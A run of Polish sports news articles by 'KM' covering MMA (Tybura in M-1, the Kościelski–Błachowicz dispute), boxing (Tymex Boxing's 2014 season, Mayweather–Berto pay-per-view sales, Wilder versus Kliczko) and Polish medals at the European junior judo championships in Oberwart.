Warto odnieść się do drogi Tybury do mistrzowskiego tytułu, bo wygląda ona ciekawie. Kto by pomyślał, że dwóch Polaków może bić się o tytuł mistrzowski. A jednak! Marcin Tybura zdominował wagę ciężką w M-1, a pas odebrał Damianowi Grabowskiemu. W sierpniu 2014 dwóch Polaków spotkało się w wyjątkowej walce. Tybura udowodnił, że nie bez kozery uznawany jest za fachowca wysokich lotów. Doświadczony Grabowski wytrzymał w rywalizacji z fighterem z Uniejowa niecałe półtorej minuty. Tybura mógł cieszyć się z mistrzowskiego tytułu, którego bronił już kilka miesięcy później. Denis Smoldarev już w pierwszej rundzie musiał pożegnać się z nadziejami na sukces.

Pojawił się problem. Właściciele M-1 cierpieli. Dlaczego? Chcieli kolejnych wielkich pojedynków, ale nie mieli z kim zestawić Tybury. Najzwyczajniej w świecie brakowało wartościowego przeciwka. Nie ma sytuacji bez wyjścia, więc dyrekcja M-1 postanowiła zorganizować super walkę, w której Tybura zmierzył się z czempionem kategorii półciężkiej Stephenem Puetzem. Polak zdecydowanie ruszył na Niemca i słał w jego stronę kolejne ciosy, ale im dalej w las tym gorzej. Tybura nie wytrzymał tempa, a lżejszy Puetz mógł dać popis swoich umiejętności. W trzeciej rundzie złamał nos rywalowi i sędzia przerwał pojedynek. Była to pierwsza porażka Tybury w M-1, ale i w całej zawodowej karierze.

Kolejnym rywalem Polaka, z którym musiał rywalizować w obronie pasa był Ante Delija. Zdecydowanym faworytem był Tybura.

Złamana noga

Chorwat nie przestraszył się mistrza i ruszył do przodu. Mocne uderzenia dochodziły do celu, ale nie robiły wrażenia na polskim zawodniku.

Po chwili rozpoczął się dramat Deliji. Niskie kopnięcie miało „zranić” Tyburę, ale fatalnie skończyło się dla zawodnika z Bałkanów. Delija złamał nogę. Tybura zablokował jego kopnięcie, a ten postawił kończynę tak, że wygięła się nienaturalnie. Chorwat padł na deski, Tybura szybko dopadł rywala i chciał zadać serię ciosów, ale zobaczył, że przeciwnik ma kłopoty. Sędzia przerwał pojedynek. Tybura po raz drugi obronił mistrzowski pas. Kolejna jego walka zakończyła się już w pierwszej rundzie.

Fot. uno-per-due.blogspot.com

KM

Podsumowanie roku okiem Tymex Boxing Promotion

Grupa Tymex Boxing Promotion prężnie weszła na bokserski rynek w Polsce. W mijającym 2014 roku stajnia Mariusza Grabowskiego zorganizowała cztery imprezy – począwszy od kameralnej w Pionkach w lutym, kończąc na dużym grudniowym evencie w Radomiu, transmitowanym przez telewizję Polsat oraz przy pomocy grupy Global Boxing, na którym w pojedynku wieczoru Mariusz Wach skrzyżował rękawice z Travisem Walkerem. 8 lutego w hali sportowej przy ul. Sosnowej w Pionkach odbyła się pierwsza tegoroczna gala Tymex Boxing.

Michał Żeromiński w pojedynku wieczoru oraz nokautująca Ewa Brodnicka stworzyli dobre widowisko, swoje dołożyło również miasto, które przed imprezą na nadzwyczajnej sesji Rady Miasta podjęło decyzję o przyznaniu Januszowi Pinderze tytułu Honorowego Obywatela Miasta Pionki. Wybitny ekspert boksu, który komentował tę imprezę, podczas gali został uroczyście przywitany owacjami. Ze sportowego punktu widzenia gala była zdecydowanie na plus, mimo dość ograniczonych kosztów.

– Ja osobiście jestem zadowolony, kibice dopisali, emocje były dosć duże. Myślę, że kolejną naszą imprezę można uznać za udaną. Wszystko rozchodzi się o budżet. Poziom sportowy był dopasowany do pieniędzy, jakimi dysponowaliśmy – przyznawał wtedy Mariusz Grabowski.

Niespełna dwa miesiące później w kieleckiej Galerii Korona w akcji mieliśmy okazję obejrzeć na dłuższym dystansie Ewę Brodnicką, która zaboksowała na dystansie dziesięciu rund z Kremeną Petkową. Polska pięściarka przekonująco uporała się z rywalką z Bułgarii, zdobywając przy tym tytuł WBF International wagi junior półśredniej. Na gali kolejne zwycięstwa zanotowali też m.in. Nikodem Jeżewski, Robert Parzęczewski i doświadczony Krzysztof Rogowski. Po drodze była także gala w Ślesinie. Okres letni to zwykle czas odpoczynku od pięściarstwa i przygotowywanie się na interesującą jesień. Tak było również w przypadku grupy Tymex. Mariusz Grabowski nawiązał współpracę z dobrze znanym w środowisku szefem grupy Global Boxing, stacjonującej w amerykańskim North Bergen, Mariuszem Kołodziejem. Motywem przewodnim była wzajemna pomoc w organizacji gal w Polsce oraz chęć rozwoju karier polskich pięściarzy. Efektem tych rozmów była gala w Dzierżoniowie. Na uwagę zasługiwał wielki powrót Mariusza Wacha, który w ringu nie pojawiał się już od prawie dwóch lat. "Viking" podczas Windoor Boxing Night wygrał wysoko na punkty z Samirem Kurtagiciem, a inny zawodnik Mariusza Kołodzieja, Kamil Łaszczyk, pokonał twardego Sergio Romero. W undercardzie znaleźli się też Nikodem Jeżewski, Michał Gerlecki, Ewa Brodnicka oraz Damian Wrzesiński.

– Chcemy coś osiągnąć, pokazać. Myślę, że współpraca na linii Tymex-Global będzie kwitnąć. Po tej gali będziemy szli cały czas do przodu – mówił we wrześniu promotor Mariusz Grabowski.

Tak też się stało. 12 grudnia w Radomiu wspierające się grupy zorganizowały bardzo dużą imprezę. Pewne zwycięstwo Wacha w starciu z Kurtagiciem dało promotorom do zrozumienia, że czas na większą walkę dla Mariusza oraz trudniejszego rywala. Przeciwnikiem "Vikinga" został ogłoszony były oponent Tomasza Adamka, dobrze znany polskim kibicom Travis Walker. Amerykanin na konferencji prasowej oraz w wywiadach odgrażał się, że złamie Wacha i skończy jego karierę, ale rzeczywistość była jednak inna. Polski pięściarz zwyciężył 35-latka przed czasem w szóstej rundzie, pokazując, że przed nim jeszcze sporo ciekawych potyczek. Przyszłość klaruje się w jasnych barwach. Przed grupą Tymex Boxing Promotion we współpracy z Global Boxing kilka ciekawych wydarzeń w nadchodzącym roku. Pojawić się mogą również nowi pięściarze, którzy zasilą stajnię.

– Jeśli chodzi o współpracę z Mariuszem Kołodziejem, to wszystko jest poukładane. Wszyscy wyróżniający się nasi zawodnicy będą mogli wylatywać do USA na treningi w Global Boxing. Jesteśmy gwarancją, że w naszej grupie bokserzy mogą się rozwijać. Oby 2015 rok był równie udany jak poprzedni, a nawet lepszy – przekonuje Grabowski.

Kolejne dwa medale

W Oberwart łupem Polaków padły kolejne dwa medale. Łącznie podczas mistrzostw Europy juniorów w judo biało-czerwoni wywalczyli cztery krążki.

Tym samym reprezentacja Polski poprawiła wynik, który osiągnęła przed rokiem w Bukareszcie. Wtedy nasi juniorzy wywalczyli dwa medale, jednak było wśród nich złoto. W Oberwart Polacy wywalczyli srebro i trzy brązowe medale.

Załęczna o krok od mistrzostwa

Marzenia o złotym medalu mogła spełnić Anna Załęczna w kategorii +78kg. Można powiedzieć, że Polka do finału mistrzostw Europy awansowała w ekspresowym tempie. W jej kategorii wagowej rywalizowało zaledwie dwanaście judoczek. Na początek Załęczna otrzymała wolny los, więc miała więcej czasu, aby przygotować się do pierwszego pojedynku. Mercedesz Szigetvari przystępowała do rywalizacji z Polką po zwycięstwie nad Danielą Rainer, ale był to jedyny powód do radości podczas mistrzostw Europy. Załęczna rozprawiła się z Węgierką i już przygotowywała się do starcia półfinałowego, gdzie trafiła na Katarinę Vuković. Chorwatka stosowała nieczyste zagrania, co się zemściło. Cztery kary shido sprawiły, że Vuković przegrała przez dyskwalifikację, a Załęczna stanęła przed szansą wywalczenia złotego medalu. Sztuka ta nie powiodła się. W decydującym starciu lepsza od naszej judoczki okazała się Wasylyna Kyrychenko.

Piotr Kuczera w kategorii 90kg rozpoczął rywalizację w mistrzostwach Europy od zwycięstwa nad Rokasem Simonisem z Litwy. Davyd Kharebava był kolejnym rywalem polskiego judoki, ale i on nie znalazł sposobu na naszego zawodnika. Z marszu po medal wytrącił Kuczerę Mikhail Igolnikov. Szansą na pozostanie w grze były repasaże. Polak wygrał rywalizację z Li Kochmanem, który został zdyskwalifikowany. Dzięki temu Kuczera stanął przed szansą na zdobycie brązowego medalu. Mistrzostwa rozpoczął od walki z Litwinem i zakończył je starciem z zawodnikiem z tego samego kraju. Rokas Nenartavicius starał się jak mógł, ale często odwoływał się do nieczystych zagrań. Ostatecznie przegrał 1:3 karami shido. Kuczera mógł cieszyć się z brązowego medalu.

Pierwszego dnia rywalizacji Julia Kowalczyk (57 kg) i Patryk Wawrzyczek (66 kg) sięgnęli po brązowe medale. Na siódmych miejscach uplasowały się Martyna Dobrowolska (57kg) oraz Kamila Pasternak (78kg).

Holandia najlepsza

Reprezentacja Polski w Oberwart zdobyła cztery medale, co pozwoliło naszym juniorom na zajęcie dwunastego miejsca w klasyfikacji generalnej. Najwięcej złotych krążków zdobyli zawodnicy z Holandii. Amber Gersjes (44kg), Larissa Greenwold (77kg), Roy Koffijberg (55kg) i Frank de Wit (81kg) wywalczyli pierwsze miejsca w swoich kategoriach. Cztery złote medale były największym osiągnięciem spośród wszystkich nacji. Holendrzy wywalczyli łącznie sześć krążków. Drudzy, z trzema złotymi medalami, w klasyfikacji znaleźli się Gruzini. Trzecia pozycja dla Francuzów. Rosjanie uplasowali się na piątym miejscu z dorobkiem ośmiu medali, ale zaledwie tylko jednym złotym.

KM

Obrona interesu, ale czyjego?

Oświadczenie trenera Ankosu Zapasy Poznań Andrzeja Kościelskiego stawia wiele znaków zapytania. Szkoleniowiec stara się obronić przed krytyką po słabym występie Jana Błachowicza na gali UFC 191 w Las Vegas, gdzie popularny „John” przegrał z Corey’em Andersonem.

Andrzej Kościelski podjął próbę przedstawienia zasad, na których opierała się jego współpraca z zawodnikiem oraz oczyszczenia atmosfery wokół klubu. Czy była to próba udana? Jest to nadto wątpliwe.

Strzał w kolano

Nie ulega wątpliwości, że Jan Błachowicz to postać szeroko znana w świecie MMa. Występy  „Johna” na galach organizacji UFC również zrobiły swoje. Błachowicz stał się niezwykle atrakcyjny marketingowo i zwyczajnie jest kojarzony ze Stanami Zjednoczonymi, czyli w mniemaniu wielu lepszym światem. Fakt, że przygoda z UFC w wykonaniu „Johna” wygląda coraz gorzej, ale warto uchwycić pewien element sukcesu, wybicia się z polskiego podwórka.

Na tym wszystkim mógł skorzystać klub z Poznania. Błachowicz trenował tam i doskonalił swoje umiejętności. Wsparciem dla niego był Andrzej Kościelski, jednak porażka z Andersonem sprawiła, że posypały się gromy krytyki. Ustosunkować się do niej postanowił szkoleniowiec.

Kościelski usiadł przed kamerą i odczytał swoje oświadczenie. Tekst pełen wulgaryzmów, niespójny, przedstawiony w chaotyczny sposób. Każdy jest w stanie zrozumieć, że trener ma prawo do zaprezentowania własnego zdania. Pojawia się pytanie, czy za wszelką cenę. Chodzi o zachowanie kultury i pewnych zasad. Standardem jest załatwianie spraw w gronie współpracowników, a Kościelski winę za porażkę stara się jakby przełożyć na zawodnika, choć sam od niej nie ucieka. Opisuje praktyki i działania Błachowicza, które być może miały wpływ na jego słaby występ. Tylko, czy nie powinno zostać to wyjaśnione w relacji trener-zawodnik? Współpraca między panami dobiegła końca, więc trudno jakkolwiek odnieść się do zachowania szkoleniowca, który publicznie stara się „prać brudy”.

Dodatkowo Kościelski odnosi się do obraźliwych komentarzy, które pojawiły się po walce w internecie. W dosadny sposób kieruje swoje słowa do osób podejmujących krytykę jego osoby. Nie jest to na pewno smaczne i z pewnością są inne drogi załatwiania tego typu spraw.

Ucierpiał wizerunek

Każdy ma prawo do obrony –to niezaprzeczalne. Z tym, że oświadczenie zaprezentowane przez Andrzeja Kościelskiego w dużej mierze uderza w jego osobę i sam klub. To swego rodzaju marketingowa porażka.

Ankos Zapasy Poznań to klub, który ma określoną renomę. Trenerzy to profesjonaliści i każdy szkoleniowiec powinien być mentorem. Styl wypowiedzi Kościelskiego sprawia, że na jego autorytecie pojawia się rysa. Przy okazji szkoleniowiec obwinia inne kluby o sianie zamętu i krytyki, czyli uderza jakby we własne środowisko. To dość rozpaczliwa próba ratunku i wytłumaczenia niepowodzenia.

Próba, która może być niezwykle bolesna. Bo cały czas trudno znaleźć odpowiedź na pytanie o powody emisji oświadczenia Kościelskiego. Z jednej strony to próba obrony, z drugiej krytyka i wytłumaczenie porażki Błachowicza, dodatkowo cios we własne środowisko, a także uderzenie w dobre imię klubu oraz ogólnie przyjęte standardy zachowania.

Jak zauważył sam trener Kościelski: „To jest sport – raz się wygrywa, raz się przegrywa”.

KM

Ostatnia walka „Moneya” klapą?

Z pierwszych danych na to wychodzi. Sprzedaż pakietów pay-per-view na walkę Floyda Mayweathera Jr. z Andre Berto wypadła blado.

„Money” odniósł czterdzieste dziewiąte zwycięstwo na zawodowym ringu i pożegnał się z publicznością jako niepokonany. Teraz będzie zajmował się innymi rzeczami. Do rozliczenia pozostała ostatnia walka.

Słaby interes

Mayweather wzbogacił się już w maju, kiedy to przyszło mu rywalizować z Manny Pacquiao. Pojedynek określany mianem walki XXI wieku przyniósł ogromne dochody. Amerykanin zgarnął ponad dwieście milionów dolarów. Rywalizacja wzbudzała zainteresowanie wszystkich. Cały świat chciał zobaczyć ten pojedynek, a więc promocja walki stała na wysokim poziomie. Mayweather musiał zrobić odpowiednią akcję marketingową, aby zainteresować cały świat i zwiększyć dochód z rywalizacji z Filipińczykiem. Telewizja mogła liczyć zyski, tak samo Mayweather, ale i Pacquiao.

Wielu podkreśla, że wystarczy taka jedna walka w życiu, aby wyjść na swoje. Coś pewnie w tym jest, ale jeśli jest się marką jak Mayweather Jr. to ciągle trzeba promować produkt, aby przynosił on odpowiednie zyski. „Money” sprawił, że cały świat myślał, czy faktycznie najlepszy bokser pożegna się z ringiem. Ten element budował zainteresowanie walką, ale reszta budziła zastrzeżenia. Andre Berto to solidny pięściarz, jednak w żaden sposób nie mógł zaszkodzić Mayweatherowi. Dodatkowo styl walki pozostawiał wiele do życzenia. „Money” aż tak bardzo nie angażował się w promocję pojedynku i nie zrobił show, które przyciągnęłoby miliony widzów i miliony dolarów.

Zrobił po prostu swoje. Wszedł do ringu, zrealizował założenia taktyczne i wygrał. Zapowiadana była ostatnia walka w karierze, odbyła się, koniec, kropka. Mayweather pozostał wielkim mistrzem, pięściarzem niezwyciężonym.

Niska sprzedaż

Rzut oka do statystyk. Na pojedynek Mayweather vs Pacquiao sprzedano ponad cztery miliony pakietów pay-per-view. Pierwsze szacunki dotyczące ostatniej walki w karierze „Moneya” nie są optymistyczne. Na zakup pakietu pay-per-view na starcie Mayweather vs Berto zdecydowało się niecałe pół miliona osób.

Kto jest temu winny? Dla Andre Berto ten pojedynek był ogromną szansą. Mayweather takich pojedynków stoczył wiele i można powiedzieć, że sukces i pieniądze to jego drugie imię. Berto jednoznacznie wskazuje, że to mistrz wagi średniej ponosi winę za słaby wynik sprzedaży pakietów na walkę. – Z pewnością to wina Floyda. On już w walce z Pacquiao nie zrobił na kibicach dobrego wrażenia. Miałem świadomość, że Mayweather będzie uciekał od walki i będzie ona nudna. Starałem się, aby tak nie było. Kibice zasługiwali na dobrą walkę – powiedział Berto.

Mayweather jak zwykle w swoim stylu podsumował zakończenie kariery. -Teraz wszyscy będą tęsknili za Floydem Mayweatherem – skwitował Amerykanin.

KM

Juniorzy zdobywają medale

Dwudziestoosobowa kadra Polski juniorów udała się do Oberwart na mistrzostwa Europy w judo. Są już pierwsze efekty w postaci zdobyczy medalowych.

Julia Kowalczyk w kategorii 57kg i Patryk Wawrzyczek 66kg to nasi medaliści. Judocy zdobyli brązowe medale. Czy Polacy powiększą dorobek medalowy?

Skazany na brąz

Rok temu w Bukareszcie biało-czerwoni zdobyli dwa medale, czyli dzięki Kowalczyk i Wawrzyczkowi to osiągnięcie zostało wyrównane, ale rywalizacja w Oberwart jeszcze trwa. Daje to nadzieję na lepszy rezultat niż w przypadku poprzedniego czempionatu. Z tym, że rok temu Anna Borowska w kategorii 57kg sięgnęła po tytuł mistrzyni świata. Czy tym razem z europejskiego czempionatu któryś z naszych juniorów wróci w glorii najwyższej chwały?

Kowalczyk i Wawrzyczek byli blisko, ale musieli zadowolić się udziałem w finale pocieszenia. Triumf pozwolił im zostać medalistami mistrzostw Europy. Julia Kowalczyk w Oberwart stoczyła pięć pojedynków, w których zanotowała jedną porażkę. To potknięcie kosztowało ją możliwość walki o złoto. W rywalizacji o trzecie miejsce Polka spotkała się z Dewy Karthaus. Holenderka musiała uznać wyższość zawodniczki Polonii Rybnik, która zwyciężyła przez ippon. Mistrzynią Europy została Rumunka Stefania Dobre. Tak jak i rok temu Polska zdobyła medal w kategorii 57kg wśród pań. Z tą różnicą, że tym razem jest to brąz, a nie złoto.

Patryk Wawrzyczek w tym sezonie jest ściśle związany z trzecim miejscem. Po raz kolejny zajmuje właśnie tę lokatę w zawodach rangi międzynarodowej. W Pucharze Europy Juniorów i Juniorek we Wrocławiu Wawrzyczek sięgnął po brązowy medal. Tak jak i w Pucharze Europy w Celje, gdzie judoka AZS AWF Katowice zaliczył najlepszy wynik ze wszystkich Polaków. Zgodnie z tradycją Wawrzyczek był trzeci. W Oberwart nie mogło być inaczej. Wawrzyczek był w dobrej formie, ale jedna przegrana walka sprawiła, że musiał zadowolić się rywalizacją o brązowy medal. Lukas Reiter po pojedynku musiał pogratulować Polakowi zwycięstwa. Judoka AZS-u AWF Katowice wygrał przez waza-ari i wywalczył brązowy medal na mistrzostwach Europy.

Warto nadmienić, że Kowalczyk i Wawrzyczek przed startem w Oberwart byli przedstawiani jako mocne punkty naszej ekipy i nadzieje na medale. Te przewidywania sprawdziły się.

Medal był blisko

W gronie szans medalowych wymieniana była również Martyna Dobrowolska w kategorii 57kg. Tylko jednej z Polek udało się stanąć na podium. Dobrowolska musiała zadowolić się siódmą pozycją w mistrzostwach Europy juniorów w Oberwart.

W rywalizacji z Marią Skorą, której stawką był pojedynek o brąz, Dobrowolska walczyła ambitnie. Obie judoczki były ostrożne i uważne. Żadna nie chciała popełnić błędu, dlatego też pojedynek musiał rozstrzygnąć się w dogrywce. Więcej sił oraz energii zachowała Ukrainka. Dobrowolska przegrała rywalizację ze Skorą.

KM

Mistrz krytykuje mistrza

Utarczki w świecie boksu to niemal codzienności. Deontay Wilder postanowił odnieść się do krytyki, którą w jego stronę skierował Władimir Kliczko.

Wiadomo, że Wilder i Kliczko to czołowi pięściarze wagi ciężkiej. Amerykanin jest mistrzem świata WBC, zaś Ukrainiec dzierży w swoich dłoniach cztery pasy: IBO, IBF, WBO i WBA.

Zupełnie inni rywale

Wilder i Kliczko przygotowują się do kolejnych pojedynków. Amerykanin 26 września zmierzy się z Johannem Duhaupasem. Kliczko stanie do boju z Tyson’em Fury’m, a pojedynek odbędzie się 24 października. Od razu rzuca się w oczy fakt, że mistrz z Ukrainy zmierzy się z powszechnie znanym bokserem z Wysp Brytyjskich. Nazwisko rywala Wildera nie jest tak medialne.

Johann Duhaupas to 34-letni pięściarz, który w swojej karierze przegrał dwie walki. Za pierwszym razem zastopował go Francesco Pianeta. Duhaupas pokonywał kolejnych rywali, ale byli to pięściarze, których trudno zaliczyć do zawodników z najwyższej półki. Gdy przyszło mu rywalizować z urodzonym we Włoszech Pianetą poprzeczka automatycznie poszła w górę, a Francuz musiał uznać wyższość rywala, choć stoczył wyrównaną walkę. Zabrakło szczęścia, ale i sprytu. Kolejne pojedynki to próba odbudowania pozycji, co udało się, jednak w tym roku niespodziewanie poległ w starciu z Erkanem Teperem. Duhaupas to dobry i solidny pięściarz, ale nigdy nie udało mu się wejść do czołówki. Bokser z Francji nie był łakomym kąskiem pod względem marketingowym. Do tej pory wykonywał dobrą pracę i nadal to robi, ale jak to zwykło się mawiać jest solidnym wyrobnikiem. W ostatnim pojedynku zastopował Manuela Charra, czyli boksera dobrze znanego w wadze ciężkiej.

Duhaupas, a Fury to spora różnica. Z pewnością ich walka byłaby ciekawa, ale zestawienie nazwisk powoduje, że wszyscy momentalnie wiedzą, kim jest Brytyjczyk. Z Francuzem jest nieco gorzej. Tej kwestii „uczepił” się Władimir Kliczko. Mistrz z Ukrainy stwierdził, że Wilder rywalizuje z pięściarzami o nikłej renomie.

Riposta Amerykanina

Każdy ma prawo do obrony. Także Wilder, który bez wątpienia jest królem nokautów. Do tej pory tylko jedna walka rozstrzygnęła się w jego przypadku na punkty, a pozostałe trzydzieści trzy Amerykanin rozstrzygnął przed czasem. Jednak zgodnie z tym, co stwierdził Kliczko to kwestia doboru rywali.

Co na to sam Wilder? – W ten sposób Kliczko krytykuje samego siebie. Jeśli on mówi w ten sposób o swoich rywalach, to powinien spojrzeć na to, co sam robił przez ostatnią dekadę. Walczył z rywalami, których nikt nie znał. Nie wiadomo skąd ich brał, pojawiali się jak króliki z kapelusza. Słowa Kliczko są dla mnie po prostu śmieszne – stwierdził mistrz świata WBC.

KM